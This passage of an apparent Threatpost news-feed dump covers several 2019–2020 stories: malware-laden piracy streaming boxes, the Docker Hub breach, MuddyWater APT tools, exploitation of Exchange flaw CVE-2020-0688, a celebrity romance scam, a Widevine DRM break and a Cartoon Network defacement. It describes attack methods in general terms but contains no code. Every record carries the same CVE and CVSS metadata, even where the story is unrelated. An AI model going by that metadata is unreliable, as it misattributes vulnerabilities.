Hulu, sports networks and paid subscription music services. \n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cBy plugging the device into a home network, [users] are enabling hackers to bypass the security (such as a router\u2019s firewall) designed to protect their system. If apps on the box or that are later downloaded have malware, the user has helped the hacker past network security,\u201d wrote Digital Citizens Alliance (DCA) in a recently released report.\n\nIn a review of hardware and pirating apps, such as FreeNetflix, researchers said they found malware piggybacking on illegal apps and preloaded with content. For example, when researchers installed a live sports streaming app called Mobdro, the app forwarded the researcher\u2019s Wi-Fi network name and password to a server in Indonesia.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154055/Jailbroken-Firestick-image.png>)\n\nExample of a jail broken Amazon Fire TV Stick for sale. Courtesy: Digital Citizens Alliance\n\nIn other instances, 1.5 terabytes of data was uploaded from a device that shared the same network of the Kodi box. And, in yet another instance, \u201cresearchers uncovered a clever scheme that enabled criminals to pose as well-known streaming sites, such as Netflix, to facilitate illegal access to a legitimate subscription of an actual Netflix subscriber,\u201d according to the report.\n\nFor its investigation DCA partnered with GroupSense, a security firm that specializes in chatrooms that facilitate black market sales. It claims hackers were discussing how to leverage networks compromised by illicit media streaming services in hopes of recruiting them into DDoS botnets or to mine cryptocurrency.\n\n\u201cGiven that users rarely install anti-virus tools on such devices, the opportunities for exploitation are numerous,\u201d wrote researchers.\n\nThe unsavory worlds of [pirated content and malware are no strangers](<https://threatpost.com/searches-for-pirated-content-lead-to-pain-and-little-gain/113515/>). Researchers have [long warned that patronizing such](<https://threatpost.com/passteal-malware-lurking-file-sharing-sites-112112/77239/>) services is a shortcut to infection. Earlier this month, [Kaspersky Lab released a report](<https://threatpost.com/game-of-thrones-malware-piracy/143318/>) that found that illegal downloads of HBO\u2019s Game of Thrones accounted for 17 percent of all infected pirated content in the last year.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154327/Firestick-Apps.png>)\n\nExamples of apps running on the Kodi platform.\n\nIn [Aug. 2018 researchers at ESET](<https://www.welivesecurity.com/2018/09/13/kodi-add-ons-launch-cryptomining-campaign/>) said they found DDoS modules had been added to a Kodi third-party add-on. ESET said it also found copyright-infringing apps that came with multi-stage crypto-mining malware that targeted Windows and Linux systems.\n\nAs part of its report, DCA reached out to XBMC Foundation. XBMC quickly rebuffed any notion it tacitly supported or endorsed pirated content. \u201cIf you are selling a box on your website designed to trick users into thinking broken add-ons come from us and work perfectly, so you can make a buck, we\u2019re going to do everything we can to stop you,\u201d it told DCA.\n\nThe Kodi application typically runs on a wide range of hardware and is sold by independent resellers on eBay, Facebook Marketplace and Craigslist. DCA said it also found Kodi pre-installed on a number of devices including inexpensive China-made media streamers. The software can also be found on devices, that were sold pre-sideloaded with Kodi software. Users can also choose to install the Kodi application on existing hardware.\n\nTo be clear, the Kodi software is not illicit. Rather, researchers are concerned the Kodi platform supports pirating apps that can harbor malware. Researchers are also concerned that some hardware devices that are sold as \u201cKodi boxes\u201d come pre-installed with malicious code and apps used to pirate streaming content.\n\nDCA did its own independent testing over the course of 500 hours of lab testing. It estimates there are 12 million active users of the illicit devices in North American homes. Those users \u201cpresent a tempting target because they offer hackers a new avenue to exploit consumers and a path to reach other devices on a home network. The findings should serve as a wake-up call for consumers, the technology community, and policymakers to take the threat seriously,\u201d it said.\n", "cvss3": {}, "published": "2019-04-29T20:31:30", "type": "threatpost", "title": "Malware Infests Popular Pirate Streaming Hardware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:31:30", "id": "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "href": "https://threatpost.com/kodi_box_malware/144191/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:03", "description": "UPDATE\n\nDocker Hub has confirmed that it was hacked last week; with sensitive data from approximately 190,000 accounts potentially exposed.\n\n\u201cOn Thursday, April 25th, 2019, we discovered unauthorized access to a single Hub database storing a subset of non-financial user data,\u201d Kent Lamb, director of Docker Support, said in an email over the weekend, which a Docker user [posted on online](<https://news.ycombinator.com/item?id=19763413>). \u201cUpon discovery, we acted quickly to intervene and secure the site.\u201d\n\nThe container specialist noted that it was a \u201cbrief period\u201d of unauthorized access that impacted less than 5 percent of Hub users; however, the data includes usernames and hashed passwords, as well as Github and Bitbucket tokens for Docker autobuilds.\n\n[](<https://threatpost.com/newsletter-sign/>) \nDocker has revoked GitHub tokens and access keys for affected accounts, and the company warned that this may affect ongoing builds from its automated build service; users \u201cmay need to [unlink and then relink](<https://docs.docker.com/docker-hub/builds/link-source/>) your GitHub and BitBucket source provider,\u201d Lamb warned.\n\nTorsten George, cybersecurity evangelist at Centrify, told Threatpost that \u201cWhen you dig deeper into the details of the breach, you\u2019ll see that it\u2019s not about the numbers, but the reach. The big issue about this breach is the fact that the database included tokens from other much-used developer resources, including GitHub and Bitbucket. This breach stresses the importance of application-to-application password management (AAPM) and temporary credentials rather than permanent ones.\u201d\n\n## Ramifications and What to Do\n\nCleanup from the incident could be significant endeavor, according to researchers.\n\n\u201cAs a result of this breach, it\u2019s possible that images in your Docker Hub repository may have been tampered with or overwritten,\u201d Wei Lien Dang, vice president of product at StackRox, told Threatpost. \u201cAttacks on the build pipeline can have serious downstream effects on what is currently running inside your infrastructure. Tainted images can be difficult to detect, and the containers launched from them may even run as expected, except with a malicious process in the background. If you use Docker Hub with Kubernetes environments, you\u2019ll also need to roll your ImagePullSecrets.\u201d\n\nEven though the passwords were hashed, Docker Hub users should change their passwords on Docker Hub and any other accounts that share that password. Users can also [view security actions](<https://help.github.com/en/articles/reviewing-your-security-log%20and%20https:/bitbucket.org/blog/new-audit-logs-give-you-the-who-what-when-and-where>) on GitHub and BitBucket accounts to check for unauthorized access.\n\n\u201cUnexpected changes in images will have an effect on application behavior, making runtime detection and application baselining critical,\u201d Dang said. \u201cCharacterizing the behaviors of individual Kubernetes deployments will highlight deviations in network connectivity, file access and process executions. These deviations are all indicators that malicious activity is taking place within a container. You need the ability to quickly inspect runtime activity within your containers to verify they are running only expected processes.\u201d\n\nAlso, because Docker didn\u2019t provide a specific timeline for this breach, no one knows how long ago the unauthorized access occurred. \u201cAs with most breaches, the perpetrators may have had access to compromised resources significantly longer than just last week,\u201d Dang said. \u201cTo be safe, you should verify recently pushed images going back over the past several weeks. Doing this audit can be difficult, as not every registry will let you filter the data by image age.\u201d\n\n## Docker: An Escalating Target?\n\nDocker has been in the security headlines before in the recent past; for instance, in January, researchers [hacked the Docker test platform](<https://threatpost.com/hack-allows-escape-of-play-with-docker-containers/140831/>) called Play-with-Docker with a proof-of-concept hack, allowing them to access data and manipulate any test Docker containers running on the host system. The team was able to escape the container and run code remotely right on the host.\n\nAlso, last year 17 malicious docker images [were found available](<https://threatpost.com/malicious-docker-containers-earn-crypto-miners-90000/132816/>) on Docker Hub that allowed hackers to earn $90,000 in cryptojacking profits.\n\nAnd Docker [in 2017 patched](<https://threatpost.com/docker-patches-container-escape-vulnerability/123161/>) a privilege escalation vulnerability that could also have lead to container escapes, allowing a hacker to affect operations of a host from inside a container.\n\nContainers are increasing in popularity among DevOps users in companies of all sizes because they facilitate collaboration, which optimizes their ability to deliver code fast to virtual environments. However, Lacework in [an analysis in 2018](<https://threatpost.com/22k-open-vulnerable-containers-found-exposed-on-the-net/132898/>) noted that securing workloads in public clouds requires a different approach than that used for traditional data centers, where APIs drive the infrastructure and create short-lived workloads. In turn, they\u2019re also becoming more interesting to cybercriminals, Dan Hubbard, chief security architect at Lacework, told Threatpost.\n\nEnterprises also report an accelerating number of container attacks. In fact, 60 percent of respondents in [a recent survey](<https://threatpost.com/threatlist-container-security/140614/>) acknowledged that their organizations had been hit with at least one container security incident within the past year. In companies with more than 100 containers in place, that percentage rises to 75 percent.\n\n_This story was updated on April 30 to add insight into potential repercussions of the incident. _\n", "cvss3": {}, "published": "2019-04-29T14:13:23", "type": "threatpost", "title": "Docker Hub Hack Affects 190K Accounts, with Concerning Consequences", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T14:13:23", "id": "THREATPOST:B047BB0FECBD43E30365375959B09B04", "href": "https://threatpost.com/docker-hub-hack/144176/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:59", "description": "An array of customized attack tools are helping the MuddyWater advanced persistent threat (APT) group to successfully exfiltrate data from its governmental and telco targets in the Middle East; an analysis of this toolset reveals a moderately sophisticated threat actor at work \u2013 with the potential to get even more dangerous over time.\n\nAn analysis from Kaspersky Lab released Monday shows that post-infection, the gang reaches for multiple, relatively simple and expendable tools to infiltrate victims and exfiltrate data, mostly using Python and PowerShell-based coding. The arsenal includes download/execute tools and remote access trojans (RATs) written in C# and Python; SSH Python scripts; and multiple Python tools for the extraction of credentials, history and more.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nKaspersky Lab also found that the group uses various deception techniques to derail detection efforts, such as Chinese strings, Russian strings and an impersonation of a completely different hacking group known as RXR Saudi Arabia.\n\n## A Battalion of RATs and More\n\nSome of MuddyWater\u2019s tools include proprietary efforts such as Nihay, a C# download-and-execute tool. It downloads a PowerShell one-liner from a hardcoded URL, researchers found. Like the other malicious code offerings from MuddyWater, this is a straightforward and simple malware that has but a single job.\n\nAnother tool that the researchers observed is a C# RAT called LisfonService. It \u201crandomly chooses a URL from a huge array of hardcoded proxy URLs hiding the real C2 server,\u201d according to [the analysis](<https://securelist.com/muddywaters-arsenal/90659/>), and is tasked with registering a victim with the C2 by collecting the user name, domain or workgroup name, machine name, machine internal IP address, OS version, OS build and public IP address. This information is used later to request commands from the C2, such as executing PowerShell code or crashing the system.\n\nAnother RAT called Client.Py is a Python 3.6 RAT is a bit more advanced; it supports basic keylogger functionality, stealing passwords saved in Chrome, killing task manager, remote command-execution and displaying an alert message for the victim in a message box.\n\nWhile most of the tools that MuddyWater uses are custom-developed, there are a handful that are based on more generic and publicly available ones, researchers added.\n\n## Deception\n\nAppropriately given the APT\u2019s name, one of the ways that MuddyWater throws forensics off the trail of attribution is by planting false flags, the analysis shows \u2013 including the incorporation of different languages into the coding.\n\n\u201cMultiple Chinese strings can be found in some PowerShell RAT payloads (such as Ffb8ea0347a3af3dd2ab1b4e5a1be18a) that seem to have been left in on purpose, probably to make attribution harder,\u201d according to Kaspersky Lab.\n\nThis also holds true for a series of Russian words that researchers found in another PowerShell sample.\n\n\u201cAttackers used Russian words as the RC4 key when establishing a connection to the C2 server,\u201d the team noted. It added, \u201cInterestingly, when visiting the C2, it displays a blank webpage whose HTML source code shows a strange HTML tag value that suggests attackers have tried to impersonate a Saudi hacking group called RXR Saudi Arabia.\u201d\n\nIn all, the MuddyWater APT shows the hallmarks of being a moderately sophisticated threat group that has built up a reasonably advanced armory to carry out their efforts. Lately those efforts have included attacks on government and telco targets in Bahrain, Iraq, Jordan, Lebanon, Saudi Arabia and Turkey, as well as a few other countries in nearby regions (Afghanistan, Azerbaijan and Pakistan), researchers said.\n\n\u201cThese tools\u2026seem to allow them flexibility to adapt and customize the toolset for victims,\u201d according to Kaspersky Lab. \u201cThis continuous capability to steadily adjust and enhance attacks, adapting well to the changing [Middle Eastern geopolitical scene](<https://threatpost.com/new-actor-darkhydrus-targets-middle-east-with-open-source-phishing/134871/>), seems to make this actor a solid adversary that keeps growing. We expect it to keep developing or acquiring additional tools and abilities, possibly including zero-days.\u201d\n", "cvss3": {}, "published": "2019-04-29T20:04:33", "type": "threatpost", "title": "MuddyWater APT Hones an Arsenal of Custom Tools", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:04:33", "id": "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "href": "https://threatpost.com/muddywater-apt-custom-tools/144193/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-10T12:45:58", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\nWrite a comment\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-exchange-server-flaw-exploited-in-apt-attacks", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:48", "description": "English actor Jason Statham \u2013 a.k.a. \u201cthe Transporter\u201d \u2013 is cozying up to people who like his Facebook page \u2013 or at least, someone purporting to be him is.\n\nA fraudster managed to bilk a vulnerable and unsuspecting Statham fan out of a \u201csignificant amount\u201d of money after approaching her while she was perusing a fan page for the actor on Facebook.\n\n\u201cShe thought it was nice that the actor had seemingly embraced \u2018talking to his fans,\u2019 and she admitted that she was also in a vulnerable place after recently losing her mother and fianc\u00e9,\u201d explained researchers at Tripwire, who flagged the incident in a [Monday post](<https://www.tripwire.com/state-of-security/latest-security-news/fraudster-posed-as-jason-statham-to-prey-upon-star-struck-users/>). \u201cShe therefore felt no unease when the fraudster asked her to talk with them over WhatsApp.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nA truly bad romance ensued, with hundreds of WhatsApp messages flying between the two over the course of months, during with Faux Statham professed his undying love: \u201cWill you love me and be the special woman beside me for the rest of your life honey\u201d reads one of the messages.\n\nAfter a pattern of trust was established, the supposed action-hero actor started to complain about financial difficulties due to a delayed film payment: \u201cI really need you to do this for me honey \u2019cause I can\u2019t trust anyone but you with my money honey.\u201d\n\nThe victim proceeded to send Western Union an undisclosed sum, after which the supposed Statham disappeared.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30163632/Statham-fraud.png>)\n\nSource: BBC\n\nAs detective constable Craig Moylon of the Greater Manchester Police in the UK [told the BBC](<https://www.bbc.com/news/uk-england-manchester-47969165>), \u201cThis lady has been subject to somebody who just tricked her at a very vulnerable time in her life. When you see the relentless messaging that this lady got from this person and you see the grooming and the exploitation\u2026 the impact is extraordinary.\u201d\n\nThe gullibility of the victim stood out to Tyler Reguly, manager of security R&D at Tripwire. He linked it to generational and cultural norms.\n\n\u201cThis is typically what I find most surprising about [successful scams](<https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/>),\u201d he told Threatpost in an interview. \u201cThere\u2019s a desire to believe, no matter how unlikely the scenario. We\u2019re a society of dreamers \u2013 \u2018I can win the lottery,\u2019 \u2018I can marry Celebrity X,\u2019 \u2018I can perform on stage alongside Singer Y\u2019 \u2013 and unfortunately, modern generations are being brought up to put even more belief in their dreams. So, while we have more tech savvy individuals, we have more potential targets for these criminals.\u201d\n\nThis scam also highlights the ingenuity of bad actors who prey upon unsuspecting users on social media, according to Tripwire.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30164155/Jason-Statham-008.jpg>)\n\n\u201cI would suspect that they setup a fan page for a celebrity and then contacted people via that fan page, claiming to be the celebrity,\u201d Reguly said. \u201cAlternatively, they may have been looking for people who publicly \u2018liked\u2019 a real Jason Statham page and reached out to those users, which is why it is important to verify the identity of those sending messages before you respond. In the case of the former, Facebook has done a great job of providing verified pages (similar to Twitter\u2019s verified users) that make it easy to tell when you\u2019re looking at a page associated with a known entity. (Specifically: \u2018A blue verification badge confirms that this is an authentic Page for this public figure, media company or brand\u2019).\u201d\n\nThese types of scams are on the rise, precisely because they\u2019re successful.\n\n\u201cI\u2019d be willing to wager that it is starting to become relatively common,\u201d Reguly said. \u201cPeople tend to have a soft spot for celebrities, we see people stand in line for hours to catch a glimpse of their favorite star filming, or pay hundreds of dollars for a quick handshake and autograph at conventions. We have a desire to connect with people who have had a meaningful impact in our lives, and that is quite commonly celebrities, particularly those that filled a role near and dear to our hearts or that sung a song that has always stuck with us\u2026.These scams work because we want to believe.\u201d\n", "cvss3": {}, "published": "2019-04-30T21:24:20", "type": "threatpost", "title": "Fake Jason Statham Bilks a Fan Out of Serious Money", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T21:24:20", "id": "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "href": "https://threatpost.com/fake-jason-statham-fan-money/144247/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:54", "description": "Researchers have used a proof-of-concept (PoC) side-channel attack to download an unencrypted raw file for Netflix\u2019 Stranger Things, in a format that\u2019s ready to distribute out to any buyer on the internet.\n\nThis pirate\u2019s booty is the result of breaking open the widely deployed digital rights management (DRM) to framework known as Widevine, the DRM engine behind Netflix, Hulu and Amazon Prime, among others.\n\nBy way of background, Widevine is an encryption method developed by Google but offered royalty-free to content creators and streaming services. According to Google stats, about 5 billion devices out there support it, and 82 billion content licenses are issued quarterly. In other words, it\u2019s a Big Kahuna when it comes to anti-piracy approaches \u2013 rivaled only by Apple\u2019s FairPlay and Microsoft\u2019s PlayReady DRM schemes.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nWidevine\u2019s end-to-end approach to encrypting copyrighted content and [preventing piracy](<https://threatpost.com/kodi_box_malware/144191/>) is actually quite secure, according to researchers at Fidus Information Security, who developed the PoC. But a vulnerability exists in Level 3 of the framework that opens the door to side-channel attacks.\n\n## The Widevine Approach\n\nTo keep pirates from streaming or downloading content that they shouldn\u2019t (both for personal or resale purposes), Widevine uses a combination of hardware security and an isolated secure operating system (OS).\n\nAs it explains in its [documentation](<https://www.widevine.com/>), Widevine offers three levels of content protection: 1, 2 and 3. Level 1 is the most secure, where all content processing and cryptography operations are handled inside a Trusted Execution Environment (TEE); and, Widevine is incorporated into a display via a secured path like HDCP. This is the case with most modern Android devices.\n\nIn Level 2, Widevine is used within a TEE to decrypt a stream, which is then sent to the display in an unprotected format.\n\nAnd in Level 3, which Fidus researchers were able to crack, Widevine is used to decrypt streams using the device\u2019s CPU rather than inside the secure TEE, after which the decrypted stream is sent to the display unprotected. The Chrome and Firefox browsers use Level 3, for instance.\n\nThe capabilities of the user\u2019s playback device and the quality of the content determines which level of protection is applied. Level 3 is used mainly for non-HD streams, 720p and below, and low-resolution audio \u2013 content that would be delivered over spotty broadband to a desktop or laptop (which is why browsers support Level 3) or to less sophisticated, low-cost, non-HD devices that lack TEEs, which are [actually found in volume](<https://www.androidauthority.com/oneplus-5t-review-814075/>) in many areas of the world, like China. Some mobile devices also [block HD streams](<https://www.digit.in/features/mobile-phones/poco-f1-is-not-the-only-smartphone-to-block-hd-streaming-no-xiaomi-device-can-stream-netflix-in-hd-43339.html>) because of wireless carrier restrictions.\n\nIn all cases, \u201cthrough the design of the Widevine framework, the keys that have been used to encrypt the content are never actually exposed directly to the user,\u201d explained the firm, in a [Monday posting](<https://fidusinfosec.com/breaking-content-protection-on-streaming-websites/>) on the PoC. \u201cInstead, the header file that gets sent to the client when a stream is started contains the bare minimum information needed, containing just some metadata about the encryption scheme used.\u201d\n\nThat metadata then gets passed to the content decryption module (CDM), which is contained in the client or browser that the user has installed. The CDM handles getting the license keys from the Widevine license server, before the content is decrypted and displayed, using Arxan to obfuscate the communication with the server. The license server then sends back a license to the client, which contains the content keys. These content keys are then used by the CDM to decrypt the content, which the user can then view.\n\nHowever, using a new variant of a piracy method [uncovered by researcher David Buchanan](<https://twitter.com/David3141593/status/1080606827384131590>) in January, the Fidus researchers were able to board the Netflix ship, as it were, and plunder its premium content by plucking the keys out of this process.\n\n## Breaking Widevine L3\n\n\u201cIt was possible to download a raw file of Stranger Things from Netflix and fully remove the content protection enabled; allowing for illegal distribution of the material,\u201d Fidus researchers noted.\n\nIt should be noted that the issue lies with Widevine, and that Netflix is just one of many Widevine users susceptible to such an attack, the researchers said.\n\nFidus team said that they won\u2019t be publishing the PoC code or further details given that the repercussions could be significant. In January, Buchanan was similarly cagey about his own Widevine-cracking, but did say that it was \u201cscarily trivial to pull off,\u201d and that he used the [Side-Channel Marvels](<https://github.com/SideChannelMarvels>) project during \u201ca few evenings of work\u201d to do so.\n\n\u201cTheir Whitebox AES-128 implementation is vulnerable to the well-studied DFA attack, which can be used to recover the original key. Then you can decrypt the MPEG-CENC streams with plain old ffmpeg,\u201d he tweeted at the time, referring to differential fault analysis (DFA), more on which [can be found here](<https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html>).\n\nHe also said that while Google acknowledged the issue, there\u2019s not much to be done:\n\n> DRM is flawed by design. I do not consider this a bug, and it cannot be fixed.\n> \n> \u2014 D\u0430v\u0456d \u0412uc\u04bb\u0430n\u0430n (@David3141593) [January 3, 2019](<https://twitter.com/David3141593/status/1080618940689252352?ref_src=twsrc%5Etfw>)\n\nFidus intimated that it was working on breaking Widevine L1 and L2 \u2013 which \u201cWith Level 3 down, there\u2019s two to go.\u201d These, if cracked, would be a much bigger problem for Widevine and those that rely upon it, opening the door to pirating the higher-value HD content.\n\nThreatpost has reached out to Fidus for more details and will update this post for any new information.\n\nGoogle did not immediately return a request for comment.\n\n** **\n", "cvss3": {}, "published": "2019-04-30T16:28:34", "type": "threatpost", "title": "Researchers Compromise Netflix Content in Widevine DRM Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:28:34", "id": "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "href": "https://threatpost.com/netflix-compromised-widevine-drm-hack/144220/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:43", "description": "A famous Brazilian male stripper greeted Cartoon Network viewers worldwide when they tried to stream shows over the weekend \u2013 thanks to a pair of hackers that took aim at the cable network\u2019s websites across 16 different regions.\n\nIn the aftermath, entire Cartoon Network sites and video players have been taken down while remediation continues.\n\nThe Brazilian stripper, Ricardo Milos, is known for wearing a red bandana on his head and an American flag thong. His unique approach to erotic dance fashion has propelled him to [internet meme status](<https://youtu.be/epgz-6ZikHA>); and the hackers, apparent fans, placed Milos videos on the Cartoon Network sites, along with various Arabic memes and Brazilian music vids.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAccording to [reports](<https://www.zdnet.com/article/cartoon-network-websites-hacked-to-show-arabic-memes-and-brazilian-male-stripper/>), the defacement was carried out by a pair of Brazilian hackers who exploited a vulnerability in Cartoon Network\u2019s website management platform. The compromise occurred April 25, and the content stayed up over the weekend until the channel was notified April 28. While the rogue content has been removed, some sites\u2019 video players were still down as of this report.\n\nBoth Cartoon Network UK and Cartoon Network Russia issued short statements [acknowledging](<https://twitter.com/CNUKTweets/status/1122506277224157184>) the issue. In a media statement the network said that \u201csites have been temporarily deactivated\u201d and that IT teams are \u201cworking hard to relaunch the sites.\u201d\n\nThe attack affected Cartoon Network portals for Brazil, the Czech Republic, Denmark, Germany, Hungary, Italy, Mexico, the Middle East and Africa (MENA), the Netherlands, Norway, Poland, Romania, Russia, Turkey and the UK, according to reports from the Twitterverse.\n\n> About 6+ hours ago someone hacked most of the Cartoon Network websites (by language) and replaced them with random shit.\n> \n> List of countries that have been targeted: \n> \n> UK \nHungary \nRomania \nGerman \nRussia \nPoland \nCzech \nDenmark \nArabic \nNorway \nNetherlands \nItaly \nTurkey \nAfrican [pic.twitter.com/anRB2PnP2g](<https://t.co/anRB2PnP2g>)\n> \n> \u2014 Flor Geneva (@Fl0r_Geneva) [April 28, 2019](<https://twitter.com/Fl0r_Geneva/status/1122420981681872896?ref_src=twsrc%5Etfw>)\n\nTypically, website defacement is carried out for political/hacktivist/vendetta purposes, but it\u2019s unclear why the Turner-owned network, home to kids\u2019 hits like Adventure Time, would be a target in this case. The last high-profile defacement came when hackers [infiltrated a Wall Street Journal webpage](<https://threatpost.com/wsj-hacked-pewdiepie/140035/>) in an attempt to promote YouTube celebrity \u201cPewDiePie\u201d (given name Felix Kjellberg), who had come under fire for in the pages of the WSJ for what the outlet termed anti-Semitic behavior.\n\nTaking aim at media targets could be a new trend as well; in April, the Weather Channel\u2019s linear TV feed [was knocked offline](<https://threatpost.com/weather-channel-off-air-hack/143936/>) by a cyberattack \u2013 again, no motive was apparent.\n", "cvss3": {}, "published": "2019-05-01T15:32:40", "type": "threatpost", "title": "Cartoon Network Hacked Worldwide to Show Brazilian Stripper Videos", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T15:32:40", "id": "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "href": "https://threatpost.com/cartoon-network-hacked/144263/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:24:12", "description": "As the 2020 presidential election draws closer and primary season looms around the corner, Microsoft has launched a bug-bounty program specifically aimed at its ElectionGuard product, which the software giant has positioned as performing \u201cend-to-end verification of elections.\u201d\n\nElectionGuard is a free open-source software development kit that secures the results of elections and makes those results securely available to approved third-party organizations for validation; it also allows individual voters to confirm that their votes were correctly counted.\n\nThe bounty program invites security researchers (\u201cwhether full-time cybersecurity professionals, part-time hobbyists or students\u201d) to probe ElectionGuard for high-impact vulnerabilities and share them with Microsoft under Coordinated 